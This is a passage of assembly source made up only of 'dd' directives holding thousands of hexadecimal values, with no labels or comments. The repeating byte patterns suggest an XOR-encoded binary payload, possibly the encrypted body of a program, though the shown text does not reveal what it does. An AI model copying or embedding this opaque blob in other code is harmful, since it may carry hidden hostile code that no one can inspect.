		dd 0D5757892h, 0FB12DBB2h, 0BAF96A6Bh, 91BB5312h, 0ADB3340h
		dd 0F96A6BFBh, 0BB434FBAh, 4ADB5907h, 796A6BFBh, 6BFB1A7Fh
		dd 7C92F96Ah, 0DBB2D575h, 6A6BFBAAh, 7912BAF9h,	6BFB4A7Fh
		dd 91BB536Ah, 0FB96DB70h, 0BAF96A6Bh, 0F3BB534Ch, 2FB924B2h
		dd 292B9FF3h, 3FF12D2Ch, 62CC7572h, 0AA7FC575h,	0F16A6BFAh
		dd 6BFB6E6Fh, 6AFEF76Ah, 7A7A7A83h, 0F1A2D575h,	0CC75723Fh
		dd 0B97B7B3Ah, 727FC575h, 756A6BF8h, 0FAAA6FC5h, 0FEF76A6Bh
		dd 7A7A836Ah, 0A2D5757Ah, 75723FF1h, 7B783ACCh,	2A4FF1B9h
		dd 0F96A6BFBh, 31917E94h, 0FB7A47F1h, 95F96A6Bh, 0F18D537Ch
		dd 2FF3762Fh, 0FBA0F386h, 7A7A4598h, 307F07FAh,	38BAB0F9h
		dd 3A6F6EF0h, 0F16A6B15h, 6EF28637h, 0F1A2F343h, 6BFB2647h
		dd 4DBDF96Ah, 826FC575h, 0F36A6BFAh, 0E3AB7B83h, 0B9F3838Dh
		dd 757BBCF9h, 0FA867FC5h, 7F796A6Bh, 6A6BFB5Eh,	0DE06BC43h
		dd 0B3212425h, 9FF32FB9h, 0F12D2A2Bh, 0AE927207h, 737A7A4Dh
		dd 855E0EBAh, 6BF8F24Fh, 2D7B106Ah, 23126F85h, 3FF36A6Bh
		dd 0F24F8586h, 106A6BF8h, 6F852D7Eh, 6A6B2312h,	25823FF3h
		dd 0F32FB9B3h, 2D2C299Fh, 0F1760FF1h, 0E2126A07h, 2C6A6BE0h
		dd 23466F85h, 0BA736A77h, 3FF16A0Eh, 857DF372h,	8562F14Dh
		dd 0BA4B7E29h, 62123591h, 2C6A6BE0h, 23466F85h,	0BA736A77h
		dd 3FF16A0Eh, 857DF372h, 8562F14Dh, 0BA4B7E29h,	82125591h
		dd 2C6A6BE3h, 23466F85h, 0BA736A77h, 3FF16A0Eh,	857DF372h
		dd 8562F14Dh, 0BA4B7E29h, 0D6DB7591h, 0F96A6BFAh, 7DF37D92h
		dd 7A3A78C2h, 212425FAh, 7A76B827h, 0FB9FF32Fh,	7A781296h
		dd 2D2C297Ah, 6F857A10h, 6A77235Eh, 1239A14Bh, 6A6BF4D5h
		dd 85B5A992h, 720F8585h, 0C4C7F72Ah, 2D858587h,	23526F85h
		dd 0BEF96A77h, 0B8FFF76Eh, 2A858584h, 87C4FFF7h, 852A8585h
		dd 7348526Fh, 0C2FFF36Ah, 0F1858587h, 6BFBCE77h, 2277796Ah
		dd 0F96A6BFBh, 0A38D7C93h, 0FF75B243h, 7A7A7B93h, 6BFB6EDBh
		dd 79877F6Ah, 7F797A7Ah, 6A6BFB12h, 9563F43h, 0FBC6DB66h
		dd 0ED7F6A6Bh, 757A7A7Ah, 0FB926FC5h, 0AA7B6A6Bh, 75563F43h
		dd 7A78FBFFh, 7FC5757Ah, 6A6BFA86h, 437892F9h, 0FD75523Fh
		dd 7A7A7814h, 627FC575h, 7F6A6BFBh, 7A797742h, 75563F43h
		dd 7A7823FDh, 5A3FF77Ah, 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h
		dd 8587DAFFh, 0FB82DB85h, 7F796A6Bh, 6A6BFB0Ah,	437D92F9h
		dd 8587DAFFh, 0F7770785h, 8587E2C7h, 5A0FF785h,	7191DFDFh
		dd 87E2C7F7h, 0FF78585h, 0F7DFDF6Ah, 8587D2FFh,	0FFF72A85h
		dd 858587E2h, 26F852Ah,	756A6B20h, 0FBEA7FC5h, 0CD756A6Bh
		dd 8587C8EFh, 0F7CD7585h, 858587CAh, 0FB4E4FF1h, 0BCF96A6Bh
		dd 0B4D57540h, 0CD75B07Bh, 8587D4F7h, 64FF185h,	0F96A6BFBh
		dd 4F7977BCh, 6A6BFB0Ah, 75B4D575h, 0FBBE4FC5h,	47F16A6Bh
		dd 6A6BF84Eh, 56440EF7h, 7BB4D575h, 0F7CD75B0h,	858587D0h
		dd 0FA8A4FF1h, 0BCF96A6Bh, 224F7962h, 756A6BFBh, 0BCF3B4D5h
		dd 756ABCF9h, 4FF1B4D5h, 6A6BFB82h, 794EBCF9h, 6BF87A4Fh
		dd 0B4D5756Ah, 0CD75B07Bh, 8587D2F7h, 0C24FF185h, 0F96A6BFBh
		dd 4F797EBCh, 6A6BFBFEh, 0F1B4D575h, 6BF85A4Fh,	60BCF96Ah
		dd 8E47C575h, 7B6A6BFAh, 0B4D57584h, 0BE4FC575h, 0F76A6BFAh
		dd 75704A3Eh, 46DBB2D5h, 0F96A6BF8h, 7F794EBAh,	6A6BFBDAh
		dd 0F3B2D575h, 0F3B27BAAh, 8587DEFFh, 4A6FF185h, 436A7A8Ah
		dd 6DFD75AAh, 537A7A7Bh, 0FAAEDBB8h, 0BAF96A6Bh, 77C57572h
		dd 6A6BFB92h, 0B843B27Bh, 7A86F975h, 0C6DB7A7Ah, 7F6A6BFBh
		dd 7A7A7AE4h, 0E563F43h, 857A1068h, 6C92720Fh, 0F97A7A1Fh
		dd 0A19372BEh, 107A7A7Ah, 720F857Bh, 7A1F7E92h,	72BEF97Ah
		dd 7A7AB393h, 94C7FA7Ah, 54858584h, 7AC2FE75h, 0DC127A7Ah
		dd 926A6BF4h, 8585B7F6h, 8494C7F7h, 852D8585h, 0F72A720Fh
		dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h
		dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h
		dd 8724922Dh, 0BEFB8585h, 7A7A7B22h, 0FFF71691h, 858584B8h
		dd 0C2CF852Ah, 85858587h, 7B75B26Fh, 73B9F36Ah,	0FA2D0EA1h
		dd 858494C7h, 300E5485h, 6BF4E712h, 0B764926Ah,	0C7F78585h
		dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h,	23526F85h
		dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah,	7A7AE5C3h
		dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 8585868Ah,	7B22BEFBh
		dd 0A1737A7Ah, 2425EA0Fh, 2FB9B321h, 96F99FF3h,	2D2C2976h
		dd 6BFB0ADBh, 7E92F96Ah, 0F1823FF3h, 0BBF3763Fh, 3A85B2F9h
		dd 7A7B46FAh, 0BCF3830Fh
		dd 0F7723FF1h, 85B2F972h, 7B46FA3Ah, 0F3830F7Ah, 0D6DB8E3Fh
		dd 0F96A6BFBh, 3FF37892h, 0F1379186h, 6BFB4A67h, 0CADB316Ah
		dd 0F36A6BFAh, 64779BDh, 0F96A6BFBh, 57917695h,	7B863FF1h
		dd 722FF182h, 787EC475h, 75762FF1h, 43406EC4h, 39600FAAh
		dd 6A0F8943h, 0F1823F85h, 3F436A3Fh, 0F17F0F82h, 6F91863Fh
		dd 88D433Dh, 863F85B5h,	438E3FF1h, 0D108863Fh, 7A8585C2h
		dd 2124257Ah, 0F32FB9B3h, 2C292B9Fh, 7207F12Dh,	0F82A47F9h
		dd 0F7A6A6Bh, 0A2A126Fh, 6F856A6Bh, 6A7B75B6h, 0F82A7FBDh
		dd 7A7B6A6Bh, 4FF17A7Ah, 6A6BFB56h, 0FB9A4F79h,	94F96A6Bh
		dd 65CC757Ch, 782DCC75h, 0BBA8CD75h, 0A9737298h, 0F1A1CD75h
		dd 6BFBBA6Fh, 0D575386Ah, 1CA47BA0h, 75860FF3h,	0F1863FCDh
		dd 6BFB866Fh, 7FB8F96Ah, 0FB4A6F79h, 0AA436A6Bh, 7AFAFE75h
		dd 2A127A7Ah, 856A6B0Ah, 6B23266Fh, 0FB4EDB6Ah,	0BAF96A6Bh
		dd 3FF31C7Eh, 75589184h, 7B843FCDh, 6AC47582h, 7E35C475h
		dd 6AF2B04Bh, 843FCD75h, 0FB6E6FF1h, 7B386A6Bh,	3FF31CAAh
		dd 3FCD7584h, 2FCD7584h, 6AA4386h, 0FB6EDBA8h, 0F1326A6Bh
		dd 6BFB8E6Fh, 566F796Ah, 0F96A6BF8h, 6EF26A90h,	7FC5757Dh
		dd 6A6BFB3Eh, 0F17892F9h, 6BFB026Fh, 7390F96Ah,	127D6EF2h
		dd 6A6B0A2Ah, 333A6F85h, 3DF76A73h, 2124257Ch, 0F32FB9B3h
		dd 0F696FB9Fh, 297A7A78h, 7F12D2Ch, 4FC57572h, 6A6BFB42h
		dd 866FC575h, 0F76A6BFAh, 0A9716C36h, 4FC57595h, 6A6BFABEh
		dd 0FB966FF1h, 0EF76A6Bh, 8BF37D6Ch, 99A981F3h,	8496E7F3h
		dd 0A2F38585h, 3742FB1Ch, 0DB740E20h, 6A6BFB2Eh, 7A85827Fh
		dd 91B9537Ah, 0FA8ADB99h, 0BAF96A6Bh, 6FC57549h, 6A6BFAAAh
		dd 0A0F3AA7Bh, 0EFF3B87Bh, 8585848Eh, 0A0F3AAF3h, 0EFF36A79h
		dd 85858492h, 43723FF1h, 75620CB8h, 0FBE27FC5h,	6FF16A6Bh
		dd 6A6BFBE6h, 816AFEF7h, 537A7A85h, 0F1E791B9h,	858492FFh
		dd 9EFFF385h, 75858584h, 2A477ACDh, 0E7A7A3Fh, 0F86EDB6Bh
		dd 877F6A6Bh, 537A7A85h, 850C93B9h, 0FFF18585h,	8585849Eh
		dd 0F3023AF1h, 85849AFFh, 7BA3F385h, 8AF7F3BBh,	0F3858584h
		dd 79A0F3B2h, 0F728762Ah, 858487FFh, 58922A85h,	0DB7A7A0Fh
		dd 6A6BFB82h, 0F37992F9h, 5891863Fh, 0F0863FF1h, 84877FFEh
		dd 1B468585h, 466B04h, 3FF17707h, 7FFEF786h, 85858487h
		dd 855A52FAh, 3FF1863Fh, 0FEC47586h, 8584877Fh,	726FF185h
		dd 756A6BFBh, 0FAB677C5h, 0B07B6A6Bh, 437390F9h, 0FAC70FAAh
		dd 858485C7h, 4B0E2885h, 8579C7FAh, 0E498585h, 84C7FA52h
		dd 3F858584h, 0C7FA650Eh, 85858578h, 0FA6C0E36h, 858487C7h
		dd 770E3185h, 857EC7FAh, 75488585h, 7A7859FFh, 0FB22DB7Ah
		dd 92F96A6Bh, 82FFF379h, 93858584h, 7A7A7B81h, 8482FFF1h
		dd 77F18585h, 6A6BFB12h, 8D78BBF9h, 0A2FFF39Bh,	0F3858587h
		dd 0F1B87BA0h, 85848AFFh, 5A2A7985h, 848EEFF3h,	0AAF38585h
		dd 6A79A0F3h, 87A6EFF3h, 0F7288585h, 85879BFFh,	38922A85h
		dd 0DB7A7A0Eh, 6A6BFB9Ah, 9A7FC6FAh, 2A858587h,	7BE5FF75h
		dd 1ADB7A7Ah, 0FA6A6BFBh, 87A67FC6h, 750E8585h,	7A7BF6FFh
		dd 0F836DB7Ah, 0B8F36A6Bh, 0C6FAB87Bh, 8587AC6Fh, 0FF753B85h
		dd 7A7A7B0Fh, 6BFBE6DBh, 0CA7F796Ah, 0FA6A6BFAh, 87A27FC6h
		dd 753D8585h, 7A7B26FFh, 7FC5757Ah, 6A6BFA86h, 0FBA27F79h
		dd 0C6FA6A6Bh, 85879B7Fh, 0FF751985h, 7A7A7B3Bh, 627FC575h
		dd 0FA6A6BF8h, 87917FC6h, 75088585h, 7A7B56FFh,	82FFF17Ah
		dd 0F1858584h, 6BF86E77h, 4FC5756Ah, 6A6BFACEh,	93F98B7Bh
		dd 0F39B8D7Ch, 858702FFh, 7BA0F385h, 8AFFF1B8h,	79858584h
		dd 0EFF35E2Ah, 85858496h, 0F378CD75h, 8587AEFFh, 5677F185h
		dd 0F96A6BFBh, 9B8D7E93h, 870EFFF3h, 0A0F38585h, 0FFF1B87Bh
		dd 8585848Ah, 0F3662A79h, 85848EEFh, 0F3AAF385h, 0F36A79A0h
		dd 8587AAEFh, 0C1C7F785h, 0F7858587h, 6BF9764Fh, 7A6FC36Ah
		dd 0DE897A7Ah, 87D4C7F7h, 4FF78585h, 6A6BF95Bh,	7A7A77C3h
		dd 0F3DE897Ah, 6BF82E67h, 0AAFFF16Ah, 0D9858587h, 6A7B5BD6h
		dd 87E3C7F7h, 4FF78585h, 6A6BF954h, 7A7A6FC3h, 0F7DE897Ah
		dd 858705C7h, 394FF785h, 0C36A6BF9h, 7A7A7A77h,	0F7DF1C89h
		dd 8587C1FFh, 4F852A85h, 6A6BF82Eh, 5BD66F85h, 3AD96A7Bh
		dd 0F76A7333h, 858705FFh, 4F852A85h, 6A6BF82Eh,	5BD66F85h
		dd 0B6D96A7Bh, 0F76A7B75h, 8587D4FFh, 4F852A85h, 6A6BF82Eh
		dd 5BD66F85h, 5AD96A7Bh, 0F76A6B15h, 8587E3FFh,	4F852A85h
		dd 6A6BF82Eh, 5BD66F85h, 26D96A7Bh, 916A6B23h, 82FF8561h
		dd 0F1858584h, 85848AFFh, 623AF185h, 8482FF43h,	0F8758585h
		dd 8585878Ah, 0B3212425h, 9FF32FB9h, 797A42C2h,	839927Ah
		dd 2C297A7Ah, 92FFF72Dh, 2A858785h, 6BFB36DBh, 6A7F796Ah
		dd 0F96A6BFBh, 0F72A7192h, 0F72A663Fh, 0DB2A763Fh, 6A6BFB66h
		dd 2A7892F9h, 2A723FF1h, 298562F1h, 0DBBDF32Eh,	6A6BFBA6h
		dd 0FBAE7F79h, 92F96A6Bh, 75BD4372h, 7A79C3FFh,	0FAC2DB7Ah
		dd 7F796A6Bh, 6A6BFB86h, 2A7E92F9h, 85A6FFF7h, 752A8587h
		dd 0FB8A7FC5h, 92F96A6Bh, 0FFF12A7Fh, 85878592h, 8562F12Ah
		dd 0BDF37629h, 727FC575h, 756A6BF8h, 0FABE6FC5h, 0AA7B6A6Bh
		dd 437D92F9h, 29FF75BDh, 0F17A7A79h, 6BFB6A4Fh,	7394F96Ah
		dd 7A78FFF7h, 852A8584h, 8785A6CFh, 0ADA79285h,	0BEF98585h
		dd 86DFF972h, 7A858785h, 6BF836DBh, 1A7F796Ah, 0F96A6BFBh
		dd 0FFF36A92h, 858785A2h, 8596FFBDh, 7A6A8587h,	0C5757A7Ah
		dd 6BFAB67Fh, 0E7F796Ah, 0F96A6BFBh, 0FFF37292h, 85878582h
		dd 0D27FC575h, 0F36A6BFBh, 87858EFFh, 8AFFBD85h, 78858785h
		dd 0DB7A7A7Ah, 6A6BFABAh, 0F8467F79h, 92F96A6Bh, 0FFF72A78h
		dd 85878596h, 86FFF72Ah, 2A858785h, 85A2FFF7h, 852A8587h
		dd 8785A6CFh, 663FF785h, 763FF72Ah, 0FAB2DB2Ah,	7F796A6Bh
		dd 6A6BFB2Ah, 2A7F92F9h, 2A723FF1h, 298562F1h, 0DBBDF33Eh
		dd 6A6BFAA2h, 0B66FC575h, 7B6A6BFAh, 7D92F9AAh,	0FF75BD43h
		dd 7A7A7B65h, 0BE7FC575h, 0F36A6BFBh, 0FE4F79BCh, 0F96A6BFBh
		dd 0C7FA7194h, 85847A78h, 0FA730F3Eh, 847A79C7h, 7F0E2A85h
		dd 7A7A8C93h, 7FC7FA7Ah, 2A85847Ah, 0C7FA730Fh,	85847A7Ch
		dd 937F0E33h, 7A7A7AA5h, 8586FFF1h, 0FFF38587h,	858785AEh
		dd 85A2FFF1h, 0FFF38587h, 858785AAh, 859AFFF7h,	0DB2A8587h
		dd 6A6BFB8Eh, 6F79B8F3h, 6A6BFBFEh, 287790F9h, 0FB366FF1h
		dd 90F96A6Bh, 6FF12878h, 6A6BFB76h, 0AAF3B87Bh,	2A7192F9h
		dd 6A7FC575h, 796A6BF8h, 6BFB827Fh, 7292F96Ah, 0FA96DB2Ah
		dd 2A326A6Bh, 85AAFFF7h, 852A8587h, 7A8A526Fh, 0B6FFF36Ah
		dd 0F1858785h, 6BFA9E77h, 0F277796Ah, 0F96A6BFBh, 0B2437093h
		dd 0C5756D0Fh, 6BFA867Fh, 6FC5756Ah, 6A6BFAE6h,	0AC7BBCF3h
		dd 917294F9h, 7FC57538h, 6A6BFB7Eh, 4F79BCF3h, 6A6BF876h
		dd 0F77894F9h, 8685B3FFh, 0CF852A85h, 8587859Eh, 85AC5892h
		dd 72BEF985h, 627FC575h, 436A6BF8h, 87859EFFh, 85760E85h
		dd 87859ECFh, 0B66F8585h, 0DB6A7B5Fh, 6A6BFAAEh, 0FB4A6FF1h
		dd 6F796A6Bh, 6A6BFBDAh, 0F27390F9h, 85847FEEh,	0FEBC8584h
		dd 8485867Fh, 32DB2A85h, 0BC6A6BF8h, 85847FFEh,	85068584h
		dd 0FFF7560Fh, 85857A7Bh, 566F852Ah, 126A7A8Ah,	6A6BF4E2h
		dd 85BEC992h, 0E7F72A85h
		dd 85857A7Bh, 566F8529h, 126A7A8Ah, 6A6BF401h, 85BEE192h
		dd 3667F185h, 0F96A6BF8h, 2A297291h, 92560F85h,	85858DC9h
		dd 755EBEF9h, 0FB8A6FC5h, 0B8FB6A6Bh, 7A7A8583h, 620EAA43h
		dd 7A78FFF7h, 0F72A8584h, 857A7BFFh, 0FE922A85h, 0F97A7A6Bh
		dd 559172BEh, 7A78FFF7h, 0F72A8584h, 857A7BFFh,	6F852A85h
		dd 6A7A8A56h, 6BF40C12h, 0BE44926Ah, 0F72A8585h, 857A7BE7h
		dd 6F852985h, 6A7A8A56h, 0DB6EBEF9h, 6A6BFBAAh,	0FB8E7F79h
		dd 92F96A6Bh, 0FBC4375h, 86FFF174h, 0F3858785h,	8785B2FFh
		dd 0F7769185h, 8685B3FFh, 0B2FFF385h, 85858785h, 8785B2CFh
		dd 7BFFF785h, 2A85857Ah, 8A566F85h, 0B126A7Ah, 926A6BF4h
		dd 8585B99Eh, 7BE7F72Ah, 2985857Ah, 8A566F85h, 0BEF96A7Ah
		dd 0F856DB6Eh, 7F796A6Bh, 6A6BFACAh, 437692F9h,	878586FFh
		dd 85760E85h, 878586CFh, 966F8585h, 0F76A7F4Bh,	857A7BFFh
		dd 6F852A85h, 6A7F4B9Ah, 86199323h, 0C5758585h,	6BFAB67Fh
		dd 0FF43326Ah, 85878592h, 0FFF1760Eh, 85878592h, 8562F12Ah
		dd 24257229h, 2FB9B321h, 96FB9FF3h, 7A7A7826h, 0F12D2C29h
		dd 7F97227h, 630E7A6Ah,	6BFB26DBh, 4A7F796Ah, 0F96A6BFBh
		dd 0FFF37F92h, 858587C2h, 7A7AFC93h, 762FF17Ah,	8277C575h
		dd 0F96A6BFAh, 76437F93h, 7B5F9AEFh, 2C660F6Ah,	5FC66F85h
		dd 96DB6A7Bh, 796A6BFBh, 6BFB4E7Fh, 7E92F96Ah, 1A6F852Ah
		dd 0DB6A6B23h, 6A6BFB76h, 0F318BAF9h, 8587C2FFh, 0F4131285h
		dd 7F926A6Bh, 858585B9h, 0F72A760Fh, 8587D0EFh,	6F852885h
		dd 6A772352h, 0F76ABEF9h, 8587D0FFh, 6F852A85h,	6A6B231Eh
		dd 0F7982F9h, 0FAA2DB6Ch, 587F6A6Bh, 797A7A7Bh,	6BFBA27Fh
		dd 0C2FFF36Ah, 4B858587h, 0A3F33D85h, 3A85B2F9h, 7A7B46FAh
		dd 0FFF3830Fh, 858587CEh, 6BF41812h, 0B8D0926Ah, 0BEF98585h
		dd 0F72A297Eh, 8587C4EFh, 6F852885h, 6A772352h,	0F176BEF9h
		dd 8587CEFFh, 6FC57585h, 6A6BF83Ah, 0FB666F79h,	90F96A6Bh
		dd 0FAAA537Fh, 75547946h, 7A7AD1FFh, 0CEFFF17Ah, 0F9858587h
		dd 0C4757E92h, 852A797Eh, 7A8A466Fh, 7EBEF96Ah,	0EFF2B8F3h
		dd 858587D3h, 87CEFFF1h, 92F98585h, 7EC47578h, 6F852A79h
		dd 6A7A8A46h, 0F37EBEF9h, 0D2EFF2B8h, 0F1858587h, 8587CEFFh
		dd 7992F985h, 797EC475h, 466F852Ah, 0F96A7A8Ah,	0B8F37EBEh
		dd 87DDEFF2h, 0C7FA8585h, 858587D3h, 0FA610F36h, 8587DDC7h
		dd 680F3485h, 87D2C7FAh, 0F318585h, 95922973h, 0F98585BEh
		dd 0C7FA7EBEh, 858587D3h, 0FA5B0F3Fh, 8587DDC7h, 620F2285h
		dd 87D2C7FAh, 0F3F8585h, 0C2CF8575h, 29858587h,	85B8C092h
		dd 72BEF985h, 84B8FFF7h, 0F72A8585h, 8587C4FFh,	6F852A85h
		dd 6A734852h, 0C575BCF3h, 6BFBD27Fh, 767F796Ah,	0F96A6BF8h
		dd 0A28D7992h, 0FE75BC43h, 7A7A7ACDh, 8494C7FAh, 75548585h
		dd 7A7ADCFEh, 0F423127Ah, 0FB926A6Bh, 0F78585BBh, 858494EFh
		dd 2A292885h, 87C4EFF7h, 85288585h, 7723526Fh, 6A0F856Ah
		dd 0F7760F85h, 8587C4FFh, 0A6922A85h, 0F9858587h, 15915ABEh
		dd 84B8FFF7h, 2C2A8585h, 75B26F85h, 0BDF36A7Bh,	670F8573h
		dd 87C2FFF1h, 7F798585h, 6A772356h, 5E6F852Ah, 236A7723h
		dd 0C66F852Ch, 916A7B5Fh, 94C7FA38h, 54858584h,	2A124F0Eh
		dd 926A6BF4h, 8585BB6Ah, 8494EFF7h, 29288585h, 0C4EFF72Ah
		dd 28858587h, 23526F85h, 0F856A77h, 760F856Ah, 87C4FFF7h
		dd 922A8585h, 85858711h, 735ABEF9h, 25F70F85h, 0B9B32124h
		dd 0C29FF32Fh, 7A7B7A4Eh, 7A11F692h, 2D2C297Ah,	6BF85ADBh
		dd 7A7F796Ah, 0F96A6BFBh, 7F437192h, 6A6BF8BEh,	96DB6E0Fh
		dd 0F96A6BFAh, 7F4373BAh, 6A7B5FAAh, 7802F875h,	0FFF77A7Ah
		dd 8584859Ah, 326F852Ah, 0F76A7A8Ah, 8485AAFFh,	0FFF72A85h
		dd 8584859Ah, 7573102Ah, 0FB7E7FC5h, 7F796A6Bh,	6A6BFB96h
		dd 2A7992F9h, 85720F85h, 73485E6Fh, 0DBBDF36Ah,	6A6BFBAAh
		dd 326FC575h, 7B6A6BFBh, 7292F9AAh, 0FF75BD43h,	7A7A785Ch
		dd 8592CFF1h, 0CEDB8584h, 0F96A6BFBh, 0FFF37E92h, 85848582h
		dd 8582FFF7h, 122A8584h, 6A6BE0D2h, 856CF12Ch, 7A7A6F6Eh
		dd 0BDF37A7Ah, 6BF876DBh, 7E92F96Ah, 0FF75BD43h, 7A7A7B90h
		dd 85A6FFF7h, 0F12A8584h, 848582FFh, 6AF12A85h,	0F3022885h
		dd 0FBC6DBBDh, 0C5756A6Bh, 6BFBEA6Fh, 0F9AA7B6Ah, 0BD437492h
		dd 7BCCFF75h, 0FFF77A7Ah, 85857A7Bh, 0A6CF852Ah, 92858485h
		dd 8585AAA1h, 0F372BEF9h, 0EFF338B8h, 858485B6h, 85A6CF85h
		dd 6F858584h, 6A6B154Eh, 7A7BC7FAh, 0F128585h, 78C7FA61h
		dd 0E85857Ah, 0C7FA680Fh, 85857A79h, 0FA730F0Eh, 857A7EC7h
		dd 7F0E0A85h, 7A7B1993h, 8AFFF77Ah, 2A858485h, 8582FFF1h
		dd 0F12A8584h, 3228856Ah, 0A6DBBDF3h, 796A6BFBh, 6BF84E7Fh
		dd 7292F96Ah, 0FF75BD43h, 7A7A7B42h, 8586FFF7h,	122A8584h
		dd 6A6BE052h, 858AFFF1h, 0F12A8584h, 6F6E856Ah,	7A7A7A7Ah
		dd 0DEDBBDF3h, 0F96A6BFAh, 0BD437D92h, 7A84FF75h, 0FFF77A7Ah
		dd 8584858Eh, 86FFF12Ah, 2A858485h, 0E8856AF1h,	7A7A7BCAh
		dd 5EDBBDF3h, 796A6BFBh, 6BF8567Fh, 7392F96Ah, 0FF75BD43h
		dd 7A7A7ABEh, 85A2FFF7h, 0F12A8584h, 84858EFFh,	6AF12A85h
		dd 0F30A2885h, 0FABADBBDh, 0B8F36A6Bh, 0AAF3B87Bh, 437E92F9h
		dd 0F16B0EBDh, 84858EFFh, 7AF12A85h, 93722A85h,	7A7A7AF6h
		dd 0FFF1A14Bh, 858485A2h, 858EFF43h, 790E8584h,	0F139A14Bh
		dd 84858EFFh, 7AF12A85h, 0F1722A85h, 8485A2FFh,	7AF12A85h
		dd 73722A85h, 0F7270FA1h, 8485AEFFh, 0FFF12A85h, 85848586h
		dd 856AF12Ah, 0BDF35A28h, 6BFB56DBh, 6FC5756Ah,	6A6BFBE2h
		dd 92F9AA7Bh, 0FBD4373h, 7BFFF749h, 2A85857Ah, 8582CF85h
		dd 0CF858584h, 858485AEh, 8586CF85h, 4E928584h,	857A7A62h
		dd 8485AECFh, 86CF8585h, 2C858485h, 7A1FBB92h, 66BEF97Ah
		dd 8586FFF1h, 0F12A8584h, 722A857Ah, 858AFFF1h,	0F12A8584h
		dd 722A857Ah, 857CF12Ch, 2425722Ah, 2FB9B321h, 96F99FF3h
		dd 2D2C293Ah, 538E6F85h, 0B9F36A7Fh, 7A5F3892h,	0FBA737Ah
		dd 4E47F174h, 0F96A6BF8h, 71937D95h, 297A7A78h,	467FC575h
		dd 0F96A6BFBh, 122A7392h, 7A657585h, 15566F85h,	0BCF36A6Bh
		dd 2A863FF7h, 852C5210h, 7B5AFA6Fh, 0F1BDF36Ah,	6BFB5E6Fh
		dd 8E6F796Ah, 0F16A6BFBh, 6BFABA77h, 7893F96Ah,	0E2EF36F3h
		dd 6BFABADBh, 7892F96Ah, 0FE75BD43h, 7A7A7BC0h,	2ABA3FF7h
		dd 3FF75210h, 0DADB2ABEh, 0F96A6BFBh, 7F7970BAh, 6A6BFB96h
		dd 860F852Ah, 23766F85h, 0BDF36A73h, 7A7207F9h,	7ADB230Eh
		dd 0F96A6BFBh, 0BD437392h, 47F1740Fh, 6A6BFAD6h, 937C95F9h
		dd 7A7A7B0Ch, 6BFB5ADBh, 79BDF36Ah, 6BFBFA47h, 7D95F96Ah
		dd 6BF86EDBh, 6FC5756Ah, 6A6BF862h, 92F9AA7Bh, 0BE3F4379h
		dd 7B36FE75h, 46DB7A7Ah, 0F36A6BF8h, 0A64779BDh, 0F96A6BFAh
		dd 4D937E95h, 0DB7A7A7Bh, 6A6BFB1Ah, 437D92F9h,	6BF8F67Fh
		dd 0DB620F6Ah, 6A6BFBDAh, 7A45827Fh, 3A102A7Ah,	53966F85h
		dd 0F6D96A7Fh, 0F76A6BF8h, 752ABA3Fh, 0F83E7FC5h, 6FF16A6Bh
		dd 6A6BFB7Ah, 8A6AFEF7h, 2A7A7A45h, 0F8F64F85h,	7B106A6Bh
		dd 85860F85h, 7323766Fh, 0F87ADB6Ah, 7F796A6Bh,	6A6BFBCAh
		dd 437692F9h, 6BF8F27Fh, 10750F6Ah, 857A106Eh, 7F53966Fh
		dd 0F8F2D96Ah, 7B106A6Bh
		dd 0F8F24F85h, 6F856A6Bh, 6A7B7A72h, 7A10BDF3h,	6BFB12DBh
		dd 6FC5756Ah, 6A6BF872h, 92F9AA7Bh, 7B102A79h, 0F8F24F85h
		dd 6F856A6Bh, 6A7F4B9Eh, 7A10BDF3h, 6BF8F6DBh, 854A856Ah
		dd 6BF8F24Fh, 926F856Ah, 0F36A7F53h, 8A3FF7BDh,	0F44D122Ah
		dd 0ADB6A6Bh, 0F96A6BFBh, 852A7E92h, 7A8A5A6Fh,	0BDBDF36Ah
		dd 7A78823Fh, 0CADB7A7Ah, 0F96A6BFBh, 0BD437D92h, 0C575320Eh
		dd 6BFB8A7Fh, 6FC5756Ah, 6A6BFB32h, 92F9AA7Bh, 963FF37Ch
		dd 0CE7FC575h, 0F96A6BFAh, 752A7F92h, 0FB1E7FC5h, 7F796A6Bh
		dd 6A6BFB86h, 3ADB2A32h, 326A6BFBh, 963FF72Ah, 857A102Ah
		dd 6F85860Fh, 6A733266h, 852CBDF3h, 7333326Fh, 860F856Ah
		dd 33326F85h, 82F36A73h, 0B3212425h, 9FF32FB9h,	7B7A7EC2h
		dd 1CF1927Ah, 2C297A7Ah, 720FF12Dh, 4E3A47F7h, 7FA6A73h
		dd 7C0F3976h, 5ADA47F7h, 7FA6A7Bh, 7C0F2A76h, 324A47F7h
		dd 0B2DB6A73h, 326A6BFAh, 7AFA122Ah, 79107A7Ah,	6BFBA2DBh
		dd 6FC5756Ah, 6A6BFAEEh, 92F9AA7Bh, 79102A7Ch, 7A7A7A12h
		dd 6F852DBAh, 6A6B1162h, 85F9BDF3h, 0BDFE7585h,	107A7A7Ah
		dd 0FBF2DB7Ah, 92F96A6Bh, 2D2C2A7Fh, 154A6F85h,	6EDB6A6Bh
		dd 796A6BF8h, 6BFB067Fh, 7092F96Ah, 86FFF72Ah, 2A858485h
		dd 7A858512h, 7BFFF77Ah, 2A85857Ah, 4E6F852Dh, 0F76A7A8Ah
		dd 857A7FF7h, 85B2F985h, 7B46FA3Ah, 0F1830F7Ah,	6BFB2E6Fh
		dd 26F796Ah, 0F96A6BFBh, 0B9F37690h, 0E7F3A97Bh, 85848586h
		dd 0C5757A10h, 6BFA867Fh, 0F27F796Ah, 0F96A6BFBh, 2C2A7D92h
		dd 4A6F852Dh, 0F16A6B15h, 6BFBC64Fh, 0B24F796Ah, 0F16A6BFBh
		dd 848586E7h, 0CFE6F385h, 858485B3h, 6BFB26DBh,	7E92F96Ah
		dd 86FFF72Ah, 2A858485h, 6BFB86DBh, 7EBAF96Ah, 7BFFF72Ah
		dd 2A85857Ah, 666F852Dh, 2D6A6B15h, 33326F85h, 24256A73h
		dd 2FB9B321h, 96FB9FF3h, 7A7A7B66h, 0F12D2C29h,	32F1723Fh
		dd 8637F372h, 0F37E2AF1h, 3AF1822Fh, 8A3FF376h,	0F1723FF1h
